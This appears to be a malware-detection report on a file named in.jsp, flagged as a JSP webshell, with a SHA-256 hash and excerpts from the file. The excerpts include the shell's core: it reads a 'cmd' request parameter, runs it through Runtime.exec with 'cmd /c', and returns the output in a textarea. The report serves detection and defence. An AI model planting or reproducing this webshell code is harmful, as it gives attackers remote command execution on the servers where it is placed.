in.jsp
JSP webshell executes commands
JSP runs the cmd request parameterWeb Shell
SHA-2564a2e30384b406fcae72571881aef4f7b78a9f7a918d583683f0c1f05e745400a
MaleculeO(C₂)H₂(CmPo)Md(Pt)Th
Evidence
⋯5 lines
9*/
10%>
11<%@ page contentType="text/html;charset=gb2312"%>
12<%@page import="java.io.*,java.util.*,java.net.*" %>
13<%!
14private final static int languageNo=0; //���汾��0 : ���ģ� 1��Ӣ��
15String strThisFile="JFolder.jsp";
16String[] authorInfo={" <font color=red> </font>"," <f …
⋯4 lines
98
99 public String getTimeElapsed() {
100 long time = (System.currentTimeMillis() - starttime) / 1000l;
101 if (time - 60l >= 0){
102 if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
⋯7 lines
392:36… + " " + strUnit;
393 strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ;
394 if(strAfterComma=="") strAfterComma=".0";
395 return filesize / intDivisor + "." + strAfterComma + " " + strUnit;
396}
397%>
398<%
399request.setCharacterEncoding("gb2312");
400String tabID = request.getParameter("tabID");
401String strDir = request.getParameter("path");
402String strAction = request.getParameter("action");
403String strFile = request.getParameter("file");
404String strPath = strDir + "\\" + strFile;
405String strCmd = request.getParameter("cmd");
406StringBuffer sbEdit=new StringBuffer("");
407StringBuffer sbDown=new StringBuffer("");
⋯5 lines
⋯9 lines
943 {
944 //out.println(strCmd);
945 Process p=Runtime.getRuntime().exec("cmd /c "+strCmd);
946 BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
947 while((line=br.readLine())!=null)
⋯11 lines
⋯4 lines
971{
972%>
973 <TEXTAREA NAME="cqq" ROWS="20" COLS="100%"><%=sbCmd.toString()%></TEXTAREA>
974<br>
975<%
⋯7 lines